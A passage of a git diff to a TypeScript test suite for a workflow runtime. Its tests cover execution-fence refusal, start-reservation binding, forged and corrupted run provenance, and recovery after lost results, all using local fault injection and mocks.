+      'ALTER TABLE flowsafe_execution_fence ADD COLUMN admission_extension TEXT',
+    ],
+    [
+      'keyed proof nullable-id second row',
+      true,
+      "INSERT INTO flowsafe_execution_fence (id, state, updated_at) VALUES (NULL, 'open', 0)",
+    ],
+  ] as const)('refuses the original Runtime initial batch for %s', async (_condition, proof, change) => {
+    const f = await structuralFixture(proof);
+    try {
+      const ownersBefore = f.owners();
+      const reservationBefore = f.claim
+        ? await f.reservations.readForAdmission(f.claim.key)
+        : undefined;
+      const batch = f.database.batch.bind(f.database);
+      let changedFence: unknown;
+      const write = vi
+        .spyOn(f.database, 'batch')
+        .mockImplementationOnce(async (statements) => {
+          expect(f.snapshots()).toEqual([]);
+          expect(
+            f.sql.prepare('PRAGMA ignore_check_constraints').get(),
+          ).toMatchObject({
+            ignore_check_constraints: 0,
+          });
+          f.sql.exec(change);
+          changedFence = f.proofRows();
+          const result = await batch(statements);
+          expect(
+            (result as Array<{ results: unknown[] }>).map(
+              ({ results }) => results,
+            ),
+          ).toEqual(statements.map(() => []));
+          expect(f.snapshots()).toEqual([]);
+          expect(f.owners()).toEqual(ownersBefore);
+          expect(f.proofRows()).toEqual(changedFence);
+          if (f.claim)
+            expect(await f.reservations.readForAdmission(f.claim.key)).toEqual(
+              reservationBefore,
+            );
+          return result;
+        });
+      await expect(
+        f.runtime.start(f.workflow.id, f.startOptions),
+      ).rejects.toMatchObject({
+        status: 503,
+        reason: { code: 'EXECUTION_FENCE_UNREADABLE' },
+      });
+      expect(write).toHaveBeenCalledOnce();
+      expect(f.snapshots()).toEqual([]);
+      expect(f.effects).not.toHaveBeenCalled();
+      expect(f.owners()).toEqual(ownersBefore);
+      expect(f.proofRows()).toEqual(changedFence);
+      expect(f.runtime.isRunActive(f.workflow.id, 'd3-run')).toBe(false);
+      expect(f.workflow.runs.has('d3-run')).toBe(false);
+      if (f.claim)
+        expect(
+          await f.reservations.readForAdmission(f.claim.key),
+        ).toMatchObject({
+          state: 'reserved',
+          binding: { kind: 'unbound' },
+        });
+      await expect(f.fence.readForAdmission()).rejects.toBeInstanceOf(
+        ExecutionFenceUnreadableError,
+      );
+    } finally {
+      f.close();
+    }
+  });
 
-    // #when — wfA resumed once (ordinal 1), wfB resumed twice (ordinal 2); both
-    // re-suspend each time, so snapshot provenance must accumulate, not reset to 1
-    await runtime.resume('wfA', 'shared', {
-      step: 'gate',
-      resumeData: { go: true },
-    });
-    await runtime.resume('wfB', 'shared', {
-      step: 'gate',
-      resumeData: { go: true },
-    });
-    await runtime.resume('wfB', 'shared', {
-      step: 'gate',
-      resumeData: { go: true },
-    });
+  it.each([
+    false,
+    true,
+  ])('executes the original Runtime with exact active authority (proof=%s)', async (proof) => {
+    const f = await structuralFixture(proof);
+    try {
+      const ownersBefore = f.owners();
+      expect(f.startOptions.mutationEpoch).toBe(1);
+      await expect(
+        f.runtime.start(f.workflow.id, f.startOptions),
+      ).resolves.toMatchObject({ status: 'success' });
+      expect(f.effects).toHaveBeenCalledOnce();
+      expect(f.snapshots()).toHaveLength(1);
+      expect(f.owners()).toEqual(ownersBefore);
+      const reading = await f.fence.readForAdmission();
+      expect(reading.reading).toMatchObject({
+        mutationEpoch: 1,
+        requireMutationEpoch: true,
+      });
+      if (f.claim) {
+        const reservation = await f.reservations.readForAdmission(f.claim.key);
+        expect(reservation).toMatchObject({
+          state: 'terminal',
+          binding: { kind: 'bound' },
+        });
+        if (reservation?.binding.kind !== 'bound')
+          throw new Error('missing admitted execution');
+        expect(reading.reading.proofExecution).toEqual(
+          reservation.binding.execution,
+        );
+      } else expect(reading.reading.proofExecution).toBeUndefined();
+      expect(f.runtime.isRunActive(f.workflow.id, 'd3-run')).toBe(false);
+    } finally {
+      f.close();
+    }
+  });
 
-    // #then — each workflow's ordinal is its OWN accumulated count: wfA=1, wfB=2.
-    // A fully shared bucket takes all 3 increments, so both reads see 3; a
-    // get-or-create keyed wrong freezes both at 1 (the deep-chain leak: a round-2
-    // approval minting into round 3).
-    const statusA = await runtime.status('wfA', 'shared');
-    const statusB = await runtime.status('wfB', 'shared');
-    expect(statusA?.resumeCount?.gate).toBe(1);
-    expect(statusB?.resumeCount?.gate).toBe(2);
+  it('rejects a lost response after structural refusal without entering the engine', async () => {
+    const f = await structuralFixture(true);
+    assert(f.claim);
+    try {
+      const before = await f.reservations.readForAdmission(f.claim.key);
+      const ownersBefore = f.owners();
+      const lost = new Error('refused initial batch response lost');
+      const batch = f.database.batch.bind(f.database);
+      const write = vi
+        .spyOn(f.database, 'batch')
+        .mockImplementationOnce(async (statements) => {
+          f.sql.exec(
+            'ALTER TABLE flowsafe_execution_fence ADD COLUMN admission_extension TEXT',
+          );
+          await batch(statements);
+          expect(f.snapshots()).toEqual([]);
+          throw lost;
+        });
+      await expect(
+        f.runtime.start(f.workflow.id, f.startOptions),
+      ).rejects.toMatchObject({
+        status: 503,
+        reason: { code: 'EXECUTION_FENCE_UNREADABLE' },
+        cause: lost,
+      });
+      expect(write).toHaveBeenCalledTimes(2);
+      expect(f.snapshots()).toEqual([]);
+      expect(f.effects).not.toHaveBeenCalled();
+      expect(f.owners()).toEqual(ownersBefore);
+      expect(await f.reservations.readForAdmission(f.claim.key)).toEqual(
+        before,
+      );
+      expect(f.proofRows()).toEqual([
+        expect.objectContaining({
+          proof_run_id: null,
+          proof_start_token: null,
+        }),
+      ]);
+      expect(f.runtime.isRunActive(f.workflow.id, 'd3-run')).toBe(false);
+    } finally {
+      f.close();
+    }
   });
 });
 
-describe('RunnerRuntime snapshot provenance durability', () => {
-  function buildDurable(
-    storage: InMemoryStore,
-    onLeg?: (leg: RunLeg) => void,
-    providedContext?: Record<string, unknown>,
-  ): RunnerRuntime {
-    const { createWorkflow, createStep, runtime } = init(
-      { storage },
-      {
-        startIdempotency: 'none',
-        executionFence: 'none',
-        requestContextForRun: (_workflowId, _runId, leg) => {
-          onLeg?.(leg);
-          return providedContext;
+describe('FS8 D3 Runtime activation', () => {
+  it('R01 independently mints S when H repeats and retains immutable owner and epoch on resume', async () => {
+    const f = await d3RuntimeFixture('fenced', () => ({
+      'flowsafe.runProvenance': { version: 2, startToken: 'forged' },
+    }));
+    try {
+      await f.runtime.start(f.workflow.id, {
+        ...f.options(),
+        inputData: { suspend: true },
+        mutationEpoch: 0,
+      });
+      const first = await f.runtime.authoritativeStartState(
+        f.workflow.id,
+        'd3-run',
+      );
+      assert(first);
+      await f.runtime.start(f.workflow.id, f.options('second'));
+      const second = await f.runtime.authoritativeStartState(
+        f.workflow.id,
+        'second',
+      );
+      expect(second?.execution.startToken).not.toBe(first.execution.startToken);
+      expect(first.execution.startToken).not.toBe('H');
+      await expect(
+        f.runtime.resume(f.workflow.id, 'd3-run', {
+          resumeData: { go: true },
+          requestedBy: 'reviewer',
+          requestedByKind: 'service',
+        }),
+      ).resolves.toMatchObject({ status: 'success', requestedBy: 'reviewer' });
+      const resumed = await f.runtime.authoritativeStartState(
+        f.workflow.id,
+        'd3-run',
+      );
+      expect(resumed?.provenance).toMatchObject({
+        version: 2,
+        startToken: first.execution.startToken,
+        mutationEpoch: 0,
+        startIdentity: { owner: { kind: 'human', id: 'owner' } },
+        resumeCounts: [['gate', 1]],
+      });
+      expect(resumed?.provenance.attemptToken).not.toBe('H');
+      expect(f.effects).toHaveBeenCalledTimes(3);
+    } finally {
+      f.close();
+    }
+  });
+
+  it.each([
+    'prefixed',
+    'custom',
+  ] as const)('R05 binds the original claim before ordinary create with the actual %s namespace', async (mode) => {
+    const f = await d3RuntimeFixture(mode);
+    try {
+      const claim = await f.claim();
+      const create = f.workflow.createRun.bind(f.workflow);
+      let beforeCreate: unknown;
+      vi.spyOn(f.workflow, 'createRun').mockImplementation(async (...args) => {
+        beforeCreate = await f.reservations.readForAdmission(claim.key);
+        return create(...args);
+      });
+      await expect(
+        f.runtime.start(f.workflow.id, {
+          ...f.options(),
+          startReservation: claim,
+          idempotencyKey: claim.key,
+        }),
+      ).resolves.toMatchObject({ status: 'success' });
+      expect(beforeCreate).toMatchObject({
+        binding: {
+          kind: 'bound',
+          execution: { tablePrefix: mode === 'custom' ? null : 'd3_' },
         },
-      },
-    );
-    const gate = createStep({
-      id: 'gate',
-      inputSchema: z.object({}),
-      outputSchema: z.object({}),
-      suspendSchema: z.object({ reason: z.string() }),
-      execute: async ({ resumeData, suspend }) =>
-        resumeData ? {} : suspend({ reason: 'wait' }),
-    });
-    createWorkflow({
-      id: 'durable-gate',
-      inputSchema: z.object({}),
-      outputSchema: z.object({}),
-    })
-      .then(gate)
-      .commit();
-    return runtime;
-  }
+      });
+      expect((await f.reservations.readForAdmission(claim.key))?.state).toBe(
+        'terminal',
+      );
+      expect(f.effects).toHaveBeenCalledOnce();
+    } finally {
+      f.close();
+    }
+  });
 
-  function buildTerminalRepair(
-    storage: InMemoryStore,
-    requestContextForRun?: RequestContextProvider,
-  ): RunnerRuntime {
-    const { createWorkflow, createStep, runtime } = init(
-      { storage },
-      {
-        startIdempotency: 'none',
-        requestContextForRun,
-        executionFence: 'none',
-      },
-    );
-    const gate = createStep({
-      id: 'gate',
-      inputSchema: z.object({}),
-      outputSchema: z.object({}),
-      suspendSchema: z.object({ reason: z.string() }),
-      execute: async ({ resumeData, suspend }) =>
-        resumeData ? {} : suspend({ reason: 'wait' }),
-    });
-    createWorkflow({
-      id: 'terminal-repair',
-      inputSchema: z.object({}),
-      outputSchema: z.object({}),
-      options: {
-        shouldPersistSnapshot: ({ workflowStatus }) =>
-          workflowStatus === 'pending' || workflowStatus === 'suspended',
-      },
-    })
-      .then(gate)
-      .commit();
-    return runtime;
-  }
+  it.each([
+    'missing',
+    'foreign',
+  ] as const)('R03 requires its positive witness before engine entry: %s', async (mode) => {
+    const f = await d3RuntimeFixture();
+    assert(f.capability);
+    const original = f.capability.withInitialAdmission;
+    let prepared: D1RunExecutionIdentity | undefined;
+    try {
+      f.capability.withInitialAdmission = async (input, create) => {
+        const result = await original(input, create);
+        return mode === 'missing'
+          ? ({ ...result, witness: undefined } as never)
+          : {
+              ...result,
+              witness: {
+                ...result.witness,
+                execution: {
+                  ...result.witness.execution,
+                  startToken: 'foreign',
+                },
+              },
+            };
+      };
+      const claim = await f.claim();
+      const outcome = await f.runtime
+        .start(f.workflow.id, {
+          ...f.options(),
+          startReservation: claim,
+          idempotencyKey: claim.key,
+          onPreparedStartIdentity: (identity) => {
+            prepared = normalizeD1RunExecutionIdentity(identity);
+          },
+        })
+        .catch((error) => error);
+      expect((await f.row())?.status).toBe('pending');
+      expect(
+        (await f.reservations.readForAdmission(claim.key))?.binding,
+      ).toMatchObject({ kind: 'bound', execution: prepared });
+      expect(f.effects).not.toHaveBeenCalled();
+      expect(outcome).toBeInstanceOf(RunStateUnreadableError);
+      expect(f.workflow.runs.has('d3-run')).toBe(true);
+    } finally {
+      f.close();
+    }
+  });
 
-  it('projects requester and resume ordinal after runtime eviction', async () => {
-    const storage = new InMemoryStore();
-    const before = buildDurable(storage);
-    const started = await before.start('durable-gate', {
-      runId: crypto.randomUUID(),
-      inputData: {},
-      requestedBy: 'operator-1',
-      requestedByKind: 'human',
-    });
-    const reSuspended = await before.resume('durable-gate', started.runId, {
-      step: 'gate',
-      requestedBy: 'reviewer-1',
-      requestedByKind: 'human',
-    });
-    expect(reSuspended).toMatchObject({
-      status: 'suspended',
-      requestedBy: 'reviewer-1',
-      resumeCount: { gate: 1 },
-    });
+  it('R03 clears only its captured new cache entry after a definitive same-S refusal', async () => {
+    const f = await d3RuntimeFixture();
+    try {
+      const claim = await f.claim();
+      const result = await f.runtime
+        .start(f.workflow.id, {
+          ...f.options(),
+          startReservation: claim,
+          idempotencyKey: claim.key,
+          onPreparedStartIdentity: async () => {
+            await f.fence.transition({ expected: 'open', next: 'draining' });
+          },
+        })
+        .catch((error) => error);
+      expect(await f.row()).toBeNull();
+      expect(f.workflow.runs.has('d3-run')).toBe(false);
+      expect((await f.reservations.readForAdmission(claim.key))?.state).toBe(
+        'reserved',
+      );
+      expect(f.effects).not.toHaveBeenCalled();
+      expect(result).toBeInstanceOf(Error);
+    } finally {
+      f.close();
+    }
+  });
 
-    const legs: RunLeg[] = [];
-    const after = buildDurable(storage, (leg) => legs.push(leg));
-    const recovered = await after.status('durable-gate', started.runId);
-    expect(recovered).toMatchObject({
-      status: 'suspended',
-      requestedBy: 'reviewer-1',
-      resumeCount: { gate: 1 },
-    });
-    const done = await after.resume('durable-gate', started.runId, {
-      step: 'gate',
-      resumeData: { go: true },
-      requestedBy: 'reviewer-2',
-      requestedByKind: 'human',
-    });
-    expect(done).toMatchObject({
-      status: 'success',
-      requestedBy: 'reviewer-2',
-    });
-    expect(legs.find((leg) => leg.kind === 'resume')).toMatchObject({
-      resumeCount: 1,
-    });
+  it.each([
+    'provider',
+    'prepared',
+    'engine',
+    'terminal',
+    'terminal-repair',
+  ] as const)('R04 retains its active frame during the %s wait', async (phase) => {
+    const entered = cDeferred(),
+      release = cDeferred();
+    const f = await d3RuntimeFixture(
+      'fenced',
+      phase === 'provider'
+        ? async () => {
+            entered.resolve();
+            await release.promise;
+            return {};
+          }
+        : undefined,
+    );
+    let waiting: Promise<RunSummary> | undefined;
+    try {
+      if (phase === 'engine') f.effects.mockImplementationOnce(async () => {});
+      const create = f.workflow.createRun.bind(f.workflow);
+      if (phase === 'engine')
+        vi.spyOn(f.workflow, 'createRun').mockImplementation(
+          async (...args) => {
+            const run = await create(...args);
+            const start = run.start.bind(run);
+            vi.spyOn(run, 'start').mockImplementation(async (...input) => {
+              entered.resolve();
+              await release.promise;
+              return start(...input);
+            });
+            return run;
+          },
+        );
+      if (phase === 'terminal-repair')
+        f.workflow.options.shouldPersistSnapshot = ({ workflowStatus }) =>
+          workflowStatus === 'pending';
+      if (phase === 'terminal' || phase === 'terminal-repair') {
+        const persist = f.workflows.persistWorkflowSnapshot.bind(f.workflows);
+        vi.spyOn(f.workflows, 'persistWorkflowSnapshot').mockImplementation(
+          async (input) => {
+            if (input.snapshot.status === 'success') {
+              entered.resolve();
+              await release.promise;
+            }
+            await persist(input);
+          },
+        );
+      }
+      waiting = f.runtime.start(f.workflow.id, {
+        ...f.options(),
+        onPreparedStartIdentity:
+          phase === 'prepared'
+            ? async () => {
+                entered.resolve();
+                await release.promise;
+              }
+            : undefined,
+      });
+      await entered.promise;
+      expect(f.runtime.isRunActive(f.workflow.id, 'd3-run')).toBe(true);
+      release.resolve();
+      await expect(waiting).resolves.toMatchObject({ status: 'success' });
+      expect(f.runtime.isRunActive(f.workflow.id, 'd3-run')).toBe(false);
+    } finally {
+      release.resolve();
+      await waiting?.catch(() => undefined);
+      f.close();
+    }
   });
 
   it.each([
-    ['an overlong requester', { requestedBy: 'r'.repeat(201) }],
-    ['an all-whitespace requester', { requestedBy: ' '.repeat(200) }],
-    ['a control-bearing requester', { requestedBy: 'requester\u0000forged' }],
-    ['an invalid requester kind', { requestedByKind: 'operator' }],
-  ])('fails closed on stored run provenance with %s', async (_label, corruption) => {
-    const storage = new InMemoryStore();
-    const before = buildDurable(storage);
-    const started = await before.start('durable-gate', {
-      runId: 'corrupt-requester-provenance',
-      inputData: {},
-      requestedBy: 'initiator',
-      requestedByKind: 'human',
-    });
-    const workflows = await storage.getStore('workflows');
-    if (!workflows) throw new Error('workflows store missing');
-    const snapshot = await workflows.loadWorkflowSnapshot({
-      workflowName: 'durable-gate',
-      runId: started.runId,
-    });
-    if (!snapshot) throw new Error('workflow snapshot missing');
-    const provenance = snapshot.requestContext?.[
-      'flowsafe.runProvenance'
-    ] as Record<string, unknown>;
-    await workflows.persistWorkflowSnapshot({
-      workflowName: 'durable-gate',
-      runId: started.runId,
-      snapshot: {
-        ...snapshot,
-        requestContext: {
-          ...snapshot.requestContext,
-          'flowsafe.runProvenance': {
-            ...provenance,
-            ...corruption,
-          },
-        },
-      },
-    });
+    'preflight',
+    'callback',
+    'unknown-create',
+  ] as const)('R06 releases only local preflight with the original claim: %s', async (phase) => {
+    const f = await d3RuntimeFixture(
+      phase === 'unknown-create' ? 'prefixed' : 'fenced',
+    );
+    try {
+      const claim = await f.claim();
+      if (phase === 'preflight')
+        await f.fence.transition({ expected: 'open', next: 'draining' });
+      if (phase === 'unknown-create')
+        vi.spyOn(f.workflow, 'createRun').mockRejectedValue(
+          new Error('unknown persistence'),
+        );
+      const result = await f.runtime
+        .start(f.workflow.id, {
+          ...f.options(),
+          startReservation: claim,
+          idempotencyKey: claim.key,
+          onPreparedStartIdentity:
+            phase === 'callback'
+              ? () => {
+                  throw { status: 503, reason: { code: 'RUN_START_PENDING' } };
+                }
+              : undefined,
+        })
+        .catch((error) => error);
+      expect((await f.reservations.readForAdmission(claim.key))?.state).toBe(
+        phase === 'preflight' ? 'reserved' : 'started',
+      );
+      expect(
+        (await f.reservations.readForAdmission(claim.key))?.binding.kind,
+      ).toBe(phase === 'unknown-create' ? 'bound' : 'unbound');
+      expect(f.effects).not.toHaveBeenCalled();
+      expect(result).toBeDefined();
+    } finally {
+      f.close();
+    }
+  });
 
-    await expect(
-      buildDurable(storage).status('durable-gate', started.runId),
-    ).rejects.toThrow('stored run provenance is malformed');
+  it.each([
+    'S2',
+    'v1',
+    'tokenless',
+    'pending',
+  ] as const)('R07 does not recover a replacement %s after a lost engine result with repeated H', async (replacement) => {
+    const f = await d3RuntimeFixture();
+    const fault = new Error('lost original result');
+    try {
+      const create = f.workflow.createRun.bind(f.workflow);
+      vi.spyOn(f.workflow, 'createRun').mockImplementation(async (...args) => {
+        const run = await create(...args),
+          start = run.start.bind(run);
+        vi.spyOn(run, 'start').mockImplementation(async (...input) => {
+          await start(...input);
+          const snapshot = await f.row();
+          assert(snapshot);
+          const provenance =
+            snapshot.requestContext?.['flowsafe.runProvenance'];
+          assert(provenance);
+          if (replacement === 'S2') provenance.startToken = 'S2';
+          if (replacement === 'v1') provenance.version = 1;
+          if (replacement === 'tokenless')
+            delete snapshot.requestContext?.['flowsafe.runProvenance'];
+          if (replacement === 'pending') snapshot.status = 'pending';
+          await f.workflows.persistWorkflowSnapshot({
+            workflowName: f.workflow.id,
+            runId: 'd3-run',
+            snapshot,
+          });
+          throw fault;
+        });
+        return run;
+      });
+      const result = await f.runtime
+        .start(f.workflow.id, f.options())
+        .catch((error) => error);
+      const row = await f.row();
+      expect(row?.status).toBe(
+        replacement === 'pending' ? 'pending' : 'success',
+      );
+      if (replacement === 'S2')
+        expect(row?.requestContext?.['flowsafe.runProvenance'].startToken).toBe(
+          'S2',
+        );
+      expect(f.effects).toHaveBeenCalledOnce();
+      expect(result).toBe(fault);
+    } finally {
+      f.close();
+    }
   });
 
-  it('reads legacy id-only provenance but requires a new complete pair before resume writes', async () => {
-    const storage = new InMemoryStore();
-    const before = buildDurable(storage);
-    const started = await before.start('durable-gate', {
-      runId: 'legacy-requester-provenance',
-      inputData: {},
-      requestedBy: 'legacy-initiator',
-      requestedByKind: 'human',
-    });
-    const workflows = await storage.getStore('workflows');
-    if (!workflows) throw new Error('workflows store missing');
-    const snapshot = await workflows.loadWorkflowSnapshot({
-      workflowName: 'durable-gate',
-      runId: started.runId,
-    });
-    if (!snapshot) throw new Error('workflow snapshot missing');
-    const legacyProvenance = {
-      ...(snapshot.requestContext?.['flowsafe.runProvenance'] as Record<
-        string,
-        unknown
-      >),
-    };
-    delete legacyProvenance.requestedByKind;
-    await workflows.persistWorkflowSnapshot({
-      workflowName: 'durable-gate',
-      runId: started.runId,
-      snapshot: {
-        ...snapshot,
-        requestContext: {
-          ...snapshot.requestContext,
-          'flowsafe.runProvenance': legacyProvenance,
+  it.each([
+    false,
+    undefined,
+    1,
+    'yes',
+  ])('R08 requires awaited literal true owning quiescence: %s', async (quiescent) => {
+    const f = await d3RuntimeFixture();
+    try {
+      await f.runtime.start(f.workflow.id, f.options());
+      const state = await f.runtime.authoritativeStartState(
+        f.workflow.id,
+        'd3-run',
+      );
+      assert(state?.storage === 'd1');
+      const before = await f.row();
+      const result = await f.runtime
+        .recoverStartAttempt(state.execution, {
+          attemptToken: 'H',
+          isOwnerQuiescent: async () => quiescent as boolean,
+        })
+        .catch((error) => error);
+      expect(await f.row()).toEqual(before);
+      expect(f.effects).toHaveBeenCalledOnce();
+      expect(result).toBeInstanceOf(ExecutionFenceUnreadableError);
+    } finally {
+      f.close();
+    }
+  });
+
+  it('R08 recovers a progressed same-S resume with its new leg H', async () => {
+    const f = await d3RuntimeFixture();
+    try {
+      await f.runtime.start(f.workflow.id, {
+        ...f.options(),
+        inputData: { suspend: true },
+      });
+      const initial = await f.runtime.authoritativeStartState(
+        f.workflow.id,
+        'd3-run',
+      );
+      assert(initial?.storage === 'd1');
+      await f.runtime.resume(f.workflow.id, 'd3-run', {
+        resumeData: { go: true },
+      });
+      await expect(
+        f.runtime.recoverStartAttempt(initial.execution, {
+          attemptToken: 'H',
+          isOwnerQuiescent: async () => true,
+        }),
+      ).resolves.toMatchObject({
+        kind: 'ordinary',
+        summary: { status: 'success' },
+      });
+      expect(f.effects).toHaveBeenCalledTimes(2);
+    } finally {
+      f.close();
+    }
+  });
+
+  it.each([
+    'fenced',
+    'prefixed',
+    'custom',
+  ] as const)('R13 rejects normal start pending from captured %s storage before settlement', async (mode) => {
+    const f = await d3RuntimeFixture(mode);
+    let prepared: D1RunExecutionIdentity | undefined;
+    try {
+      const claim = await f.claim();
+      const persist = f.workflows.persistWorkflowSnapshot.bind(f.workflows);
+      vi.spyOn(f.workflows, 'persistWorkflowSnapshot').mockImplementation(
+        async (input) => {
+          if (input.snapshot.status === 'pending') return persist(input);
+          const pending = { ...input.snapshot, status: 'pending' as const };
+          return persist({ ...input, snapshot: pending });
         },
-      },
-    });
+      );
+      const result = await f.runtime
+        .start(f.workflow.id, {
+          ...f.options(),
+          inputData: { suspend: true },
+          startReservation: claim,
+          idempotencyKey: claim.key,
+          onPreparedStartIdentity: (identity) => {
+            if (identity.tablePrefix !== null)
+              prepared = normalizeD1RunExecutionIdentity(identity);
+          },
+        })
+        .catch((error) => error);
+      expect((await f.row())?.status).toBe('pending');
+      expect((await f.reservations.readForAdmission(claim.key))?.state).toBe(
+        'started',
+      );
+      expect(f.effects).toHaveBeenCalledOnce();
+      expect(result).toBeInstanceOf(RunStartPendingError);
+      expect(f.runtime.isRunActive(f.workflow.id, 'd3-run')).toBe(false);
+      if (prepared)
+        expect(
+          (await f.reservations.readForAdmission(claim.key))?.binding,
+        ).toMatchObject({ execution: prepared });
+    } finally {
+      f.close();
+    }
+  });
 
-    const after = buildDurable(storage);
-    const legacyStatus = await after.status('durable-gate', started.runId);
-    expect(legacyStatus).toMatchObject({ requestedBy: 'legacy-initiator' });
-    expect(legacyStatus?.requestedByKind).toBeUndefined();
-    await expect(
-      after.resume('durable-gate', started.runId, { step: 'gate' }),
-    ).rejects.toThrow(
-      'legacy requestedBy provenance requires an explicit requestedBy and requestedByKind to resume',
-    );
-    expect(
-      (await after.status('durable-gate', started.runId))?.requestedByKind,
-    ).toBeUndefined();
+  it('R13 rejects normal resume pending even when terminal repair acknowledges the write', async () => {
+    const f = await d3RuntimeFixture();
+    try {
+      await f.runtime.start(f.workflow.id, {
+        ...f.options(),
+        inputData: { suspend: true },
+      });
+      const persist = f.workflows.persistWorkflowSnapshot.bind(f.workflows);
+      vi.spyOn(f.workflows, 'persistWorkflowSnapshot').mockImplementation(
+        (input) =>
+          persist({
+            ...input,
+            snapshot: { ...input.snapshot, status: 'pending' as const },
+          }),
+      );
+      const result = await f.runtime
+        .resume(f.workflow.id, 'd3-run', { resumeData: { go: true } })
+        .catch((error) => error);
+      expect((await f.row())?.status).toBe('pending');
+      expect(f.effects).toHaveBeenCalledTimes(2);
+      expect(result).toBeInstanceOf(RunStartPendingError);
+    } finally {
+      f.close();
+    }
+  });
+});
+
+async function d3PreparedPending(
+  f: Awaited<ReturnType<typeof d3RuntimeFixture>>,
+) {
+  assert(f.capability);
+  const admit = f.capability.withInitialAdmission;
+  let execution: D1RunExecutionIdentity | undefined;
+  const claim = await f.claim();
+  f.capability.withInitialAdmission = async (input, create) => {
+    const result = await admit(input, create);
+    return { ...result, witness: undefined } as never;
+  };
+  try {
     await expect(
-      after.resume('durable-gate', started.runId, {
-        step: 'gate',
-        requestedBy: 'reviewer-1',
-        requestedByKind: 'human',
+      f.runtime.start(f.workflow.id, {
+        ...f.options(),
+        startReservation: claim,
+        idempotencyKey: claim.key,
+        onPreparedStartIdentity: (value) => {
+          execution = normalizeD1RunExecutionIdentity(value);
+        },
       }),
-    ).resolves.toMatchObject({
-      status: 'suspended',
-      requestedBy: 'reviewer-1',
-      requestedByKind: 'human',
-    });
-  });
+    ).rejects.toBeInstanceOf(RunStateUnreadableError);
+    assert(execution);
+    return { execution, claim };
+  } finally {
+    f.capability.withInitialAdmission = admit;
+  }
+}
 
-  it('reserves snapshot provenance against provider override', async () => {
-    const storage = new InMemoryStore();
-    const runtime = buildDurable(storage, undefined, {
-      'flowsafe.runProvenance': {
-        version: 1,
-        requestedBy: 'forged',
-        attemptToken: 'forged',
-        resumeCounts: [['gate', 99]],
-      },
-    });
-    const started = await runtime.start('durable-gate', {
-      runId: crypto.randomUUID(),
-      inputData: {},
-      requestedBy: 'operator-1',
-      requestedByKind: 'human',
-    });
+describe('FS8 D3 Runtime activation', () => {
+  it('R02 captures the actual alternate prefixed domain and method receivers through preparation', async () => {
+    const nominal = await d3RuntimeFixture('prefixed'),
+      actual = await d3RuntimeFixture('prefixed');
+    const entered = cDeferred(),
+      release = cDeferred();
+    let pending: Promise<RunSummary> | undefined;
+    try {
+      vi.spyOn(nominal.workflow, 'mastra', 'get').mockReturnValue(
+        new Mastra({ storage: actual.storage, logger: false }),
+      );
+      // A participating reservation store must match the selected D1 binding.
+      const refused = await nominal.runtime
+        .start(nominal.workflow.id, nominal.options())
+        .catch((error) => error);
+      expect(await actual.row()).toBeNull();
+      expect(await nominal.row()).toBeNull();
+      expect(nominal.effects).not.toHaveBeenCalled();
+      expect(refused).toBeInstanceOf(Error);
+      const standalone = init(
+        { storage: nominal.storage },
+        { executionFence: 'none', startIdempotency: 'none' },
+      ).runtime;
+      standalone.register(nominal.workflow);
+      await standalone.status(nominal.workflow.id, 'initialize-actual');
+      nominal.workflow.__registerMastra(
+        new Mastra({ storage: actual.storage, logger: false }),
+      );
+      const source = actual.capability;
+      assert(source);
+      const receivers: unknown[] = [];
+      const read = source.readSnapshot;
+      source.readSnapshot = async function (address) {
+        receivers.push(this);
+        return read.call(this, address);
+      };
+      pending = standalone.start(nominal.workflow.id, {
+        ...nominal.options(),
+        onPreparedStartIdentity: async (identity) => {
+          expect(identity.tablePrefix).toBe('d3_');
+          entered.resolve();
+          await release.promise;
+        },
+      });
+      await entered.promise;
+      const late = vi
+        .fn()
+        .mockRejectedValue(new Error('late replacement read'));
+      source.readSnapshot = late;
+      release.resolve();
+      await expect(pending).resolves.toMatchObject({ status: 'success' });
+      expect(await nominal.row()).toBeNull();
+      expect((await actual.row())?.status).toBe('success');
+      expect(late).not.toHaveBeenCalled();
+      expect(receivers).toEqual([actual.capability]);
+    } finally {
+      release.resolve();
+      await pending?.catch(() => undefined);
+      nominal.close();
+      actual.close();
+    }
+  });
 
-    expect(started.requestedBy).toBe('operator-1');
-    await expect(
-      runtime.status('durable-gate', started.runId),
-    ).resolves.toMatchObject({ requestedBy: 'operator-1' });
+  it('R08 terminalizes the original selected pending bytes and returns B2 S1 after a later S2 write', async () => {
+    const f = await d3RuntimeFixture();
+    try {
+      const { execution, claim } = await d3PreparedPending(f);
+      assert(f.capability);
+      const original = f.capability.terminalizeInitialAdmission;
+      const read = vi.spyOn(f.capability, 'readSnapshot');
+      f.capability.terminalizeInitialAdmission = async (input) => {
+        const outcome = await original(input);
+        if (outcome.kind !== 'conflict') {
+          const later = JSON.parse(outcome.row.snapshot);
+          later.requestContext['flowsafe.runProvenance'].startToken = 'S2';
+          later.result = { foreign: true };
+          await f.workflows.persistWorkflowSnapshot({
+            workflowName: f.workflow.id,
+            runId: 'd3-run',
+            snapshot: later,
+          });
+        }
+        return outcome;
+      };
+      const result = await f.runtime
+        .recoverStartAttempt(execution, {
+          attemptToken: 'H',
+          isOwnerQuiescent: async () => true,
+          startReservation: claim,
+        })
+        .catch((error) => error);
+      expect(
+        (await f.row())?.requestContext?.['flowsafe.runProvenance'].startToken,
+      ).toBe('S2');
+      expect((await f.reservations.readForAdmission(claim.key))?.state).toBe(
+        'terminal',
+      );
+      expect(f.effects).not.toHaveBeenCalled();
+      expect(read).toHaveBeenCalledOnce();
+      expect(result).toMatchObject({
+        kind: 'ordinary',
+        summary: { status: 'failed' },
+      });
+    } finally {
+      f.close();
+    }
   });
 
-  it('repairs a terminal-only snapshot with the current resume provenance', async () => {
-    const storage = new InMemoryStore();
-    const requestContextForRun: RequestContextProvider = (
-      _workflowId,
-      _runId,
-      leg,
-    ) =>
-      leg.kind === 'start'
-        ? { 'test.a': 'start-a', 'test.b': 'start-b' }
-        : { 'test.a': 'resume-a' };
-    const before = buildTerminalRepair(storage, requestContextForRun);
-    const started = await before.start('terminal-repair', {
-      runId: 'terminal-provenance',
-      inputData: {},
-      requestedBy: 'operator-1',
-      requestedByKind: 'human',
-    });
+  it('R08 preserves the captured source across owning quiescence and read replacement', async () => {
+    const f = await d3RuntimeFixture(),
+      other = await d3RuntimeFixture();
+    try {
+      const { execution, claim } = await d3PreparedPending(f);
+      assert(f.capability);
+      assert(other.capability);
+      const foreign = vi.spyOn(other.capability, 'terminalizeInitialAdmission');
+      const own = vi.spyOn(f.capability, 'terminalizeInitialAdmission');
+      const result = await f.runtime
+        .recoverStartAttempt(execution, {
+          attemptToken: 'H',
+          startReservation: claim,
+          isOwnerQuiescent: async () => {
